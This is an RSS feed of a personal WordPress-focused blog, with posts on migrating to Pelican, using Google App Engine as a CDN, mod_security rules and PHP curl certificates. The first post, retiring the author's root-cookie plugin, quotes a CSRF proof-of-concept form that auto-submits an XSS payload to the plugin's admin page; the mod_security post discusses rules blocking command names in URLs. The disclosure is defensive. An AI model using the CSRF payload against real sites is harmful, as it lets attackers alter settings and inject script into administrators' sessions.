<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0"><channel><title>LINICKX.com</title><link>https://www.linickx.com/</link><description></description><lastBuildDate>Sat, 14 Dec 2024 15:59:00 +0000</lastBuildDate><item><title>Goodbye root-cookie</title><link>https://www.linickx.com/goodbye-root-cookie</link><description>&lt;p&gt;&lt;code&gt;TLDR:&lt;/code&gt; 🔥🔥🔥 If you still use root-cookie, please delete it from your WordPress/Website 🔥🔥🔥🔥&lt;/p&gt;
&lt;p&gt;Today I have requested that the Plugins team over at WordPress.org org delete &lt;a href="https://wordpress.org/plugins/root-cookie"&gt;my root-cookie plugin&lt;/a&gt;. I started it back in &lt;a href="https://www.linickx.com/root-cookie-for-wp26"&gt;2008 for WP 2.6&lt;/a&gt;, probably before if you dig into the SVN history, back when things were very different.&lt;/p&gt;
&lt;p&gt;Back in the early days of WordPress, it was a &lt;em&gt;"sub directory"&lt;/em&gt;, i.e. you setup your site with a home page, and then WordPress (blog) was a below that. The problem root-cookie was designed to solve, is that there was no way of accessing the WordPress authentication cookie outside the WordPress folder, so if you wanted to something as simple as change a banner, or theme based on being logged in, you could't. root-cookie was very simple, it hooked into WordPress's authentication functions and stripped the folder out of the cookie, and assigned it to the "root" of the domain, then from your custom code you could read it and do &lt;em&gt;whatever&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;I really, &lt;em&gt;really&lt;/em&gt; cannot remember what the admin page did or looked like, there's probably some screenshots around here but apparently it contains a Cross Site Request Forgery (CSRF) vulnerability, the steps (&lt;em&gt;apparently, I've not tested&lt;/em&gt;) to reproduce are:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Make a logged in admin click a link with the following HTML (replace the domain)&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html&amp;gt;
&amp;lt;body onload=&amp;quot;document.forms[0].submit()&amp;quot;&amp;gt;
&amp;lt;form action=&amp;quot;http://{domain}/wp-admin/options-general.php?page=root-cookie&amp;quot; method=&amp;quot;POST&amp;quot;&amp;gt;
&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;rootcookie_submit_hidden&amp;quot; value='Y' /&amp;gt;
&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;rootcookie_subdomain_manual&amp;quot; value='&amp;amp;&amp;quot;&amp;gt;&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;' /&amp;gt;
&amp;lt;/form&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;REF: https://patchstack.com/&lt;/p&gt;
&lt;p&gt;👉🏻 Given that I have not maintained this plugin for &lt;strong&gt;over 13 years&lt;/strong&gt;, I do &lt;em&gt;NOT&lt;/em&gt; intend to publish an update and have requested the plugin be deleted.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;From: Nick&lt;br /&gt;
To: plugins wordpress.org&lt;br /&gt;
Date: 14 Dec 2024, 15:47&lt;br /&gt;
Subject:  Please Delete "root-cookie"&lt;br /&gt;
Body:&lt;/p&gt;
&lt;p&gt;Hello,
Please delete https://wordpress.org/plugins/root-cookie/&lt;/p&gt;
&lt;p&gt;The plugin has not been maintained in 13years, apparently recently it was discovered to contain a CSRF vulnerability, I do not intend to fix it therefore it would be safer for the community if the plugin is removed from wordpress.org.&lt;/p&gt;
&lt;p&gt;Stats show only 11 downloads per week, I don't suppose the plugin is needed anymore, the first version was released in 2008 for WP2.6, I expect a lot has changed since then :)&lt;/p&gt;
&lt;p&gt;Many Thanks in advance for your support.&lt;br /&gt;
Kind Regards,&lt;br /&gt;
Nick &lt;br /&gt;
&lt;/p&gt;
&lt;/blockquote&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">Nick Bettison</dc:creator><pubDate>Sat, 14 Dec 2024 15:59:00 +0000</pubDate><guid isPermaLink="false">tag:www.linickx.com,2024-12-14:goodbye-root-cookie</guid><category>WordPress</category><category>plugin</category><category>root-cookie</category><category>Vulnerability</category></item><item><title>Good bye WordPress, Hello Pelican !</title><link>https://www.linickx.com/good-bye-wordpress-hello-pelican</link><description>&lt;p&gt;After &lt;a href="https://www.linickx.com/and-the-site-goes-live"&gt;10 happy years&lt;/a&gt; as a WordPress user, yesterday I switched my site over to &lt;a href="http://blog.getpelican.com"&gt;pelican&lt;/a&gt;.  &lt;/p&gt;
&lt;p&gt;WordPress is awesome I'd recommend it to anyone, however over the last year I've become increasing frustrated with my sites &lt;em&gt;stability&lt;/em&gt;; I've been pretty pleased with &lt;a href="http://s.linickx.com/"&gt;the average response time&lt;/a&gt; but it wouldn't take much to exhaust my cloud servers CPU. (&lt;em&gt;I've tried pretty much every caching technique and couldn't find a perfect fix&lt;/em&gt;)&lt;/p&gt;
&lt;p&gt;For anyone else that is embarking on this transition and having issues with &lt;a href="http://docs.getpelican.com/en/3.5.0/importer.html"&gt;pelican-import&lt;/a&gt;, I advise opening your &lt;code&gt;posts.xml&lt;/code&gt; in &lt;a href="http://en.wikipedia.org/wiki/Vi"&gt;Vi&lt;/a&gt; scroll through and look for any &lt;em&gt;dodgey looking&lt;/em&gt; characters and remove them.&lt;/p&gt;
&lt;p&gt;Making my new pelican site look "&lt;em&gt;exactly&lt;/em&gt;" like my old site has been a labour of love so I have published some of my fixes online.&lt;/p&gt;
&lt;h3&gt;FEED URLS&lt;/h3&gt;
&lt;p&gt;In WordPress I had pretty URLs for Feeds like &lt;a href="https://www.linickx.com/feed"&gt;/feed&lt;/a&gt;, &lt;a href="https://www.linickx.com/feed/atom"&gt;/feed/atom&lt;/a&gt; and &lt;a href="https://www.linickx.com/tag/security/feed"&gt;/tag/security/feed&lt;/a&gt;. I found that feeds were limited to files in Pelican and did not support a nested structure. To fix this I have proposed a &lt;a href="https://github.com/getpelican/pelican/pull/1625"&gt;pull-request&lt;/a&gt; on github, I guess we'll see if it gets accepted.&lt;/p&gt;
&lt;h3&gt;URL Rewriting&lt;/h3&gt;
&lt;p&gt;This Pelican is a bit of an experiment to ease regression I want to leave my WordPress config completely untouched, therefore I have migrated from Apache to Nginx. I've not used nginx before, so it's been a bit of a learning curve if you're having problems with rewriting maybe &lt;a href="https://github.com/linickx/dotcom/tree/master/nginx"&gt;my config&lt;/a&gt; can help?&lt;/p&gt;
&lt;h3&gt;Theme&lt;/h3&gt;
&lt;p&gt;The &lt;a href="https://github.com/linickx/dotcom/tree/master/themes/linickx"&gt;pelican LINICKX theme&lt;/a&gt; is now based on bootstrap.&lt;/p&gt;
&lt;h3&gt;Pelican Config&lt;/h3&gt;
&lt;p&gt;Tying it all together, nginx, pelican, etc takes a little effort... example &lt;a href="https://github.com/linickx/dotcom/blob/master/pelicanconf.py"&gt;pelicanconf.py&lt;/a&gt; and &lt;a href="https://github.com/linickx/dotcom/blob/master/publishconf.py"&gt;publishconf.py&lt;/a&gt; are on github.&lt;/p&gt;
&lt;h3&gt;To Do&lt;/h3&gt;
&lt;p&gt;There's still loads for me to fix, I've replaced all teh &lt;code&gt;[gallery]&lt;/code&gt; tags but I know there's plenty of &lt;code&gt;[caption]&lt;/code&gt; tags to remove.&lt;br /&gt;
I haven't yet worked out how I'm going to handle image resize/upload in a neat and tidy way, in fact my whole write &amp;amp; publish workflow needs a bit of thought.
BUT this first pelican post, written in &lt;a href="http://atom.io"&gt;atom&lt;/a&gt; has gone well, so only time will tell!  &lt;/p&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">Nick Bettison</dc:creator><pubDate>Fri, 13 Feb 2015 12:05:00 +0000</pubDate><guid isPermaLink="false">tag:www.linickx.com,2015-02-13:good-bye-wordpress-hello-pelican</guid><category>WordPress</category><category>Pelican</category><category>Blog</category></item><item><title>Example wordpress_logged_in for root-cookie</title><link>https://www.linickx.com/example-wordpress_logged_in-for-root-cookie</link><description>&lt;p&gt;&lt;a href="https://gist.github.com/linickx/6074260"&gt;https://gist.github.com/linickx/6074260&lt;/a&gt;&lt;/p&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">nick</dc:creator><pubDate>Wed, 24 Jul 2013 21:36:00 +0100</pubDate><guid isPermaLink="false">tag:www.linickx.com,2013-07-24:example-wordpress_logged_in-for-root-cookie</guid><category>PHP</category><category>root-cookie</category><category>WordPress</category></item><item><title>Using Google as a FREE origin pull CDN</title><link>https://www.linickx.com/using-google-as-a-free-origin-pull-cdn</link><description>&lt;p&gt;There are bucket load of &lt;a href="http://www.google.co.uk/#q=google+app+engine+cdn"&gt;posts on how to use google application engine
(&lt;strong&gt;GAE&lt;/strong&gt;) as a CDN&lt;/a&gt;
but many of them direct you to hosting static content on a google
server. For me that approach isn't practical, every time I did a
WordPress update or plugin upgrade I would have to push an update to
GAE... annoying!&lt;/p&gt;
&lt;p&gt;Origin-Pull is the future then, basically the server acting as a CDN
pulls a copy of the original, caches it and serves that to clients.
Updates on the main site are easy, just wait for the CDN to age out it's
cache or if you are impatient manually purge.&lt;/p&gt;
&lt;p&gt;Over the weekend I stumpbled upon
&lt;a href="http://www.symkat.com/sympull-cdn"&gt;SymPullCDN&lt;/a&gt; a GAE app, it's a bit
out of date so I've pushed &lt;a href="https://github.com/linickx/SymPullCDN"&gt;a newer version to
github&lt;/a&gt;. I've made two changes,
firstly updated to python2.7 (&lt;em&gt;as per google's recommendation&lt;/em&gt;) and
secondly I've added a cron job to keep your GAE app snappy :)&lt;/p&gt;
&lt;p&gt;Setting up your own copy is simple, start by &lt;a href="http://appengine.google.com/"&gt;signing up for
GAE&lt;/a&gt; and create a new "application",
mine's called &lt;code&gt;mygaecdn&lt;/code&gt;...&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.linickx.com/files/2013/05/create_gae.png"&gt;&lt;img alt="create_gae" src="https://www.linickx.com/files/2013/05/create_gae-300x180.png" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Next get a copy of the &lt;em&gt;Google App Engine SDK for Python&lt;/em&gt; also known as
&lt;code&gt;GoogleAppEngineLauncher&lt;/code&gt;... Install it :)&lt;/p&gt;
&lt;p&gt;Once it's running, create a new application... give it the same name as
the app you created on google.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.linickx.com/files/2013/05/new_gae_app.png"&gt;&lt;img alt="new_gae_app" src="https://www.linickx.com/files/2013/05/new_gae_app-300x184.png" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Take a note of the directory in which the application is being created,
mine is &lt;code&gt;Users/nick/Documents/GoogleAppEngine/mygaecdn&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Next download &lt;a href="https://github.com/linickx/SymPullCDN/archive/master.zip"&gt;this zip file which has the updated SymPullCDN
files&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Delete everything from your
&lt;code&gt;Users/nick/Documents/GoogleAppEngine/mygaecdn&lt;/code&gt; and place in there the
contents of &lt;code&gt;SymPullCDN-master.zip&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Open &lt;code&gt;app.yaml&lt;/code&gt; in a text-editor and edit &lt;code&gt;line 1&lt;/code&gt; to replace
&lt;em&gt;*replace*me*&lt;/em&gt; with your application name, e.g.:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;application: mygaecdn
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Next open &lt;code&gt;main.py&lt;/code&gt; in a text-editor and edit &lt;code&gt;line 21&lt;/code&gt; and replace
&lt;code&gt;http://replace*me/&lt;/code&gt; with your website, e.g.:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;origin = "https://www.linickx.com/"
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Make sure you save both files and you are done!&lt;/p&gt;
&lt;p&gt;Now, test locally in the GoogleAppEngineLauncher app before deploying to
google. Click the green "play" and a GAE application will run on your
local machine; from the screenshot above you can see mine is listening
on "port 10080", so I can open a web browser to http://localhost:10080 -
all things being equal you will see a copy of your website :)&lt;/p&gt;
&lt;p&gt;If that works you're ready to deploy.... hit the blue "deploy" button to
push you app up to google. When that's finished you should be able to
visit &lt;code&gt;mygaecdn.appspot.com&lt;/code&gt;... obviously yours isn't called mygaecdn!&lt;/p&gt;
&lt;p&gt;Once the deploy is finished you have a GAE ready and willing to serve
cached copies of your site.&lt;/p&gt;
&lt;p&gt;What you do next will depend on your website. Me, I use
&lt;a href="http://wordpress.org"&gt;WordPress&lt;/a&gt; and
&lt;a href="http://wordpress.org/extend/plugins/wp-super-cache/"&gt;wp-super-cache&lt;/a&gt;,
so I can simply enable the CDN feature in that, e.g.:&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.linickx.com/files/2013/05/wp_wp-s-c_cdn.png"&gt;&lt;img alt="wp_wp-s-c_cdn" src="https://www.linickx.com/files/2013/05/wp_wp-s-c_cdn-300x142.png" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;You might have to install something, or change some URLs, whatever you
do, just remember to only change links to static content such as CSS, JS
or IMG - anything dynamic is likely to end in a world of pain.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;FOOTNOTE&lt;/strong&gt;: The term CDN is used loosely in this blog post, GAE is
more of a content off-load, IMHO a CDN should server you
geographically-local content but in all my tests on
&lt;a href="http://www.webpagetest.org"&gt;webpagetest&lt;/a&gt; showed all my content coming
from Google-USA, not that is really a problem as their servers are still
rocket-quick :cool:&lt;/p&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">nick</dc:creator><pubDate>Wed, 08 May 2013 19:00:00 +0100</pubDate><guid isPermaLink="false">tag:www.linickx.com,2013-05-08:using-google-as-a-free-origin-pull-cdn</guid><category>CDN</category><category>GAE</category><category>Google</category><category>WordPress</category></item><item><title>mod_security and WordPress with Commands in Permalinks (urls)</title><link>https://www.linickx.com/mod_security-and-wordpress-with-commands-in-permalinks-urls</link><description>&lt;p&gt;For a long while now, one of my oldest posts (&lt;em&gt;&lt;a href="https://www.linickx.com/66/php-nagios-ping-traceroute-tool"&gt;nagios ping
tool&lt;/a&gt;&lt;/em&gt;)
returned a 403 error and I couldn't work out why... a &lt;a href="https://www.linickx.com/3659/my-lifestream-php-curl-ca-certificate-issues"&gt;recent post about
curl&lt;/a&gt;
also fell foul of the same issue so I've been forced to work out why ;)&lt;/p&gt;
&lt;p&gt;The main challenge that I faced was that I could not find any errors in
my logs, apache's error_logs were empty, varnish is not catching the
error page and my mod_security debuglog didn't show anything. Now there
is clearly a 2do here, I need to look into my logging issues because the
issue was mod_security!&lt;/p&gt;
&lt;p&gt;&lt;code&gt;modsecurity_crs_40_generic_attacks&lt;/code&gt; as a list of system rules which
will deny access to commands, on my system ping &amp;amp; traceroute are indeed
commands! Looking thru _crs_40 I can see that rule ID 950907 blocks
curl, therefore I can create a simple location match to permit access to
that page.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;LocationMatch "^/3659/my-lifestream-php-curl-ca-certificate-issues"&amp;gt;
    SecRuleRemoveById 950907
&amp;lt;/LocationMatch&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Traceroute and Ping are IDs 958837 &amp;amp; 958893 respectively. Going forward
I &lt;em&gt;could&lt;/em&gt; simply remove those IDs globally, but to be honest I don't
want to, I feel comfort with the restriction they begin... I will just
have to be more careful with the titles I use on pages.&lt;/p&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">nick</dc:creator><pubDate>Wed, 27 Jun 2012 08:34:00 +0100</pubDate><guid isPermaLink="false">tag:www.linickx.com,2012-06-27:mod_security-and-wordpress-with-commands-in-permalinks-urls</guid><category>mod_security</category><category>Security</category><category>WordPress</category></item><item><title>Test Facebook post from linickx.com (WordPress)</title><link>https://www.linickx.com/test-facebook-post-from-linickx-com-wordpress</link><description>&lt;p&gt;&lt;a href="https://www.linickx.com/files/2012/06/facebook-linickx-banner.png"&gt;&lt;img alt="" src="https://www.linickx.com/files/2012/06/facebook-linickx-banner.png" title="facebook-linickx-banner" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;A while back facebook disabled RSS importing of my linickx.com posts
which has resulted in &lt;a href="http://www.facebook.com/nick.bettison"&gt;my facebook
timeline&lt;/a&gt; being very empty.&lt;/p&gt;
&lt;p&gt;It's taken them a while, but facebook appear to have got with the
program and released &lt;a href="http://wordpress.org/extend/plugins/facebook"&gt;an official wordpress
plugin&lt;/a&gt;... nice work guys!&lt;/p&gt;
&lt;p&gt;This is a test post to see if I have it setup correctly... assuming it
works my friends will starting seeing a bit more linickx'y things :)&lt;/p&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">nick</dc:creator><pubDate>Wed, 13 Jun 2012 14:58:00 +0100</pubDate><guid isPermaLink="false">tag:www.linickx.com,2012-06-13:test-facebook-post-from-linickx-com-wordpress</guid><category>Blog</category><category>facebook</category><category>linickx</category><category>WordPress</category></item><item><title>My Lifestream - PHP, Curl, CA &amp; Certificate Issues</title><link>https://www.linickx.com/my-lifestream-php-curl-ca-certificate-issues</link><description>&lt;p&gt;I use my own &lt;a href="http://wordpress.org/extend/plugins/linickx-lifestream/"&gt;lifestream
plugin&lt;/a&gt; to feed
my blog page with activity from other sites.&lt;/p&gt;
&lt;p&gt;A (&lt;em&gt;long&lt;/em&gt;) while ago HTTPS feeds stopped working, basically due to
certificate trust issues.&lt;/p&gt;
&lt;p&gt;Now the lifestream plugin uses WordPress built in functions to perform
HTTP requests.... and this was not something I wanted to change. It's
taken a bit of exploring to work out why the default configuration did
not work... and then find the best way to patch it.&lt;/p&gt;
&lt;p&gt;Eventually I found out that you can set the PHP_CURL CA Path in php.ini
using the curl.cainfo directive. On CentOS the "&lt;em&gt;well known&lt;/em&gt;" CAs are
stored in &lt;code&gt;/etc/pki/tls/certs/&lt;/code&gt; therefore the fix was quite simple, add
the following to &lt;code&gt;/etc/php.ini&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl.cainfo = /etc/pki/tls/certs/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Job done! Now HTTPS only site (&lt;em&gt;like github&lt;/em&gt;) lifestream nicely!&lt;/p&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">nick</dc:creator><pubDate>Fri, 08 Jun 2012 13:56:00 +0100</pubDate><guid isPermaLink="false">tag:www.linickx.com,2012-06-08:my-lifestream-php-curl-ca-certificate-issues</guid><category>LINICKX-LifeStream</category><category>PHP</category><category>WordPress</category></item><item><title>Making your WordPress.org/extend/plugin pages look cool!</title><link>https://www.linickx.com/making-your-wordpress-orgextendplugin-pages-look-cool</link><description>&lt;p&gt;Whilst browsing what is on offer at wordpress.org/extend I noticed that
the plugins by automattic had fancy banners (e.g.
&lt;a href="http://wordpress.org/extend/plugins/jetpack/"&gt;jetpack&lt;/a&gt; &amp;amp;
&lt;a href="http://wordpress.org/extend/plugins/buddypress/"&gt;buddypress&lt;/a&gt;)... I
wanted in!&lt;/p&gt;
&lt;p&gt;Since the text on these pages is generated from the readme.txt in a
given plugin's repo I figured I'd take a look there and see if the
automattic guys were doing anything different... oh yeah, there were!&lt;/p&gt;
&lt;p&gt;These repo's had a "assets" folder in the root, and in there was a
banner-772x250.png. Simply by generating my own banner (&lt;em&gt;772px wide by
250px high&lt;/em&gt;), creating an assets folder in each of my repos &lt;a href="https://plugins.trac.wordpress.org/changeset/515612/phpbb-recent-topics/assets"&gt;and
committing&lt;/a&gt;
did the trick - so secret sauce required! (&lt;em&gt;NOTE:You have to wait a
while for wp.org to update, I waited overnight&lt;/em&gt;)&lt;/p&gt;
&lt;p&gt;I think these are looking rather groovy :)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://wordpress.org/extend/plugins/phpbb-recent-topics/"&gt;http://wordpress.org/extend/plugins/phpbb-recent-topics/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://wordpress.org/extend/plugins/phpbb-recent-topics/"&gt;http://wordpress.org/extend/plugins/root-cookie/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://wordpress.org/extend/plugins/linickx-lifestream/"&gt;http://wordpress.org/extend/plugins/linickx-lifestream/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">nick</dc:creator><pubDate>Fri, 09 Mar 2012 08:38:00 +0000</pubDate><guid isPermaLink="false">tag:www.linickx.com,2012-03-09:making-your-wordpress-orgextendplugin-pages-look-cool</guid><category>LINICKX-LifeStream</category><category>phpbb_recent_topics</category><category>root-cookie</category><category>WordPress</category></item><item><title>is_blog</title><link>https://www.linickx.com/is_blog</link><description>&lt;p&gt;Since moving to &lt;a href="http://codex.wordpress.org/Creating_a_Static_Front_Page"&gt;a static front
page&lt;/a&gt; I've
noticed google is indexing &lt;a href="https://www.linickx.com/blog"&gt;/blog&lt;/a&gt; rather
than individual posts.... this little addition to my
&lt;a href="http://codex.wordpress.org/Designing_Headers"&gt;header.php&lt;/a&gt; should fix
it!&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;You may notice that WordPress doesn't appear to be an is_blog function which would do the same thing.
&lt;/code&gt;&lt;/pre&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">nick</dc:creator><pubDate>Tue, 24 Jan 2012 16:42:00 +0000</pubDate><guid isPermaLink="false">tag:www.linickx.com,2012-01-24:is_blog</guid><category>is_blog</category><category>PHP</category><category>WordPress</category></item><item><title>root-cookie 1.6, two years in the making?</title><link>https://www.linickx.com/root-cookie-1-6-two-years-in-the-making</link><description>&lt;p&gt;&lt;a href="https://www.linickx.com/files/2011/12/screenshot-1.png"&gt;&lt;img alt="" src="https://www.linickx.com/files/2011/12/screenshot-1-150x150.png" title="Root Cookie Admin Screen Shot" /&gt;&lt;/a&gt;No
taking two years to release an update is not good, but in my defence
root-cookie is so simple that there are very few issues and complaints
;)&lt;/p&gt;
&lt;p&gt;Actually a two year wait isn't strictly true, those watching &lt;a href="https://www.linickx.com/tag/root-cookie"&gt;the dev
log&lt;/a&gt; would have seen I've pushed
the odd update here and there.&lt;/p&gt;
&lt;p&gt;So what prompts this release, well I've noticed that in WP3.3 that the
cookie functions have changed, so to ensure future compatibility (&lt;em&gt;and
minimal issues for me&lt;/em&gt;) I have updated this plugin to be aligned to the
core source.&lt;/p&gt;
&lt;p&gt;The usual blurb...&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Download:
    &lt;a href="http://wordpress.org/extend/plugins/root-cookie/download/"&gt;http://wordpress.org/extend/plugins/root-cookie/download/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Support:
    &lt;a href="https://wordpress.org/tags/root-cookie?forum_id=10#postform"&gt;https://wordpress.org/tags/root-cookie?forum_id=10#postform&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Bugs:
    &lt;a href="http://plugins.trac.wordpress.org/newticket?component=root-cookie&amp;amp;owner=linickx"&gt;http://plugins.trac.wordpress.org/newticket?component=root-cookie&amp;amp;owner=linickx&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;ChangeLog&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Contextual Help&lt;/li&gt;
&lt;li&gt;Bug fix "undefined method WP_Error::get_items"&lt;/li&gt;
&lt;li&gt;Logout Enhancement&lt;/li&gt;
&lt;li&gt;WP 3.3 Compatability&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.linickx.com"&gt;Donation Link&lt;/a&gt; (&lt;em&gt;it's good for your karma&lt;/em&gt;)&lt;/li&gt;
&lt;/ul&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">nick</dc:creator><pubDate>Thu, 22 Dec 2011 22:02:00 +0000</pubDate><guid isPermaLink="false">tag:www.linickx.com,2011-12-22:root-cookie-1-6-two-years-in-the-making</guid><category>PHP</category><category>plugin</category><category>root-cookie</category><category>WordPress</category></item></channel></rss>